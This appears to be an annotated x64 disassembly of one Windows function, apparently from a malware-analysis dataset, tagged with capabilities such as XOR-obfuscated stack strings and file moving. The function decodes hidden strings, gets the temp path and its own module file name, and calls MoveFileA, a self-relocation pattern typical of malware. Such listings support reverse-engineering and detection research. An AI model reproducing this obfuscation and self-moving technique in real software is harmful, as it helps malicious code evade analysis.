Function at 0x14005bed0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x140112070]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
movzx esi, cl
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x40]
call fcn.1400a5f70
lea rdx, [rbp - 0x40]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov byte [rsp + 0x20], reloc.WS2_32.dll_WSACleanup
mov al, reloc.WS2_32.dll_recv
mov dl, reloc.WS2_32.dll_recvfrom
mov cl, 0x18
xor r8d, r8d
xor al, 0x74
mov byte [rsp + 0x21], al
xor dl, 0x74
mov byte [rsp + 0x22], dl
xor cl, 0x74
mov byte [rsp + 0x23], cl
mov byte [rsp + 0x24], r8b
xor ebx, ebx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x60], bl
lea rax, [rsp + 0x21]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], bl
jne 0x14005bf70
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x60]
call fcn.140004740
nop
lea rax, [rbp - 0x40]
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14005bf90
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x60]
call fcn.14005a240
mov byte [rsp + 0x20], 0x40
mov al, 0x6a
mov cl, 0x60
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov r8b, 0x31
xor r9d, r9d
xor al, 0x40
mov byte [rsp + 0x21], al
xor cl, 0x40
mov byte [rsp + 0x22], cl
xor dl, 0x40
mov byte [rsp + 0x23], dl
xor r8b, 0x40
mov byte [rsp + 0x24], r8b
mov byte [rsp + 0x25], r9b
lea rax, [rsp + 0x21]
nop
inc rdi
cmp byte [rax + rdi], r9b
jne 0x14005bfe0
mov r8, rdi
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x60]
call fcn.14005a240
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
call fcn.1400b78fc
movdqa xmm0, xmmword [str.B.b]
movdqu xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], 0x24273012
mov dword [rsp + 0x3c], 0x2a213627
mov dword [rsp + 0x40], 0x6d62681e
mov word [rsp + 0x44], gethostname
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rsp + 0x28]
xor byte [rsp + rcx + 0x29], al
movzx eax, byte [rsp + 0x28]
xor byte [rsp + rcx + 0x2a], al
add rcx, 2
cmp rcx, 0x1c
jb 0x14005c040
mov byte [rsp + 0x45], 0
lea rcx, [rsp + 0x29]
call fcn.1400b78fc
test sil, sil
je 0x14005c139
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xd0]
call fcn.1400a5f70
mov r8d, 0x104
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movdqa xmm0, xmmword [0x140101a30]
movdqu xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], 0x24212e66
mov word [rsp + 0x3c], Ordinal_46
mov rcx, rbx
nop dword [rax]
movzx eax, byte [rsp + 0x28]
xor byte [rsp + rcx + 0x29], al
inc rcx
cmp rcx, 0x14
jb 0x14005c0c0
mov byte [rsp + 0x3d], 0
lea rcx, [rsp + 0x29]
call fcn.1400b76c8
movdqa xmm0, xmmword [0x140101a10]
movdqu xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x38], 0x26232c64
mov word [rsp + 0x3c], 0x2f
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + 0x28]
xor byte [rsp + rcx + 0x29], al
inc rcx
cmp rcx, 0x14
jb 0x14005c110
mov byte [rsp + 0x3d], 0
lea rdx, [rsp + 0x29]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
movdqa xmm0, xmmword [0x140101d30]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140101d40]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140101e70]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x6f415641
mov dword [rbp - 0x7c], 0x41564066
mov dword [rbp - 0x78], 0x5a404072
mov word [rbp - 0x74], 0x4740
xor eax, eax
mov byte [rbp - 0x72], al
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rcx + 0x51], al
inc rcx
cmp rcx, 0x3d
jb 0x14005c190
mov byte [rbp - 0x72], 0
lea rdx, [rsp + 0x51]
call fcn.14005bd40
movdqa xmm0, xmmword [0x140101ec0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x140102010]
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x140102020]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140101f20]
movdqa xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0x71495868
mov dword [rbp - 0x6c], 0x6765476d
mov word [rbp - 0x68], 0x616c
xor eax, eax
mov byte [rbp - 0x66], al
movzx eax, byte [rsp + 0x50]
xor byte [rsp + rbx + 0x51], al
inc rbx
cmp rbx, 0x49
jb 0x14005c200
mov byte [rbp - 0x66], 0
lea rdx, [rsp + 0x51]
call fcn.14005bd40
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x14005c258
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005c253
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005c280
call fcn.14006057c
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140060520
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400a9fac
int3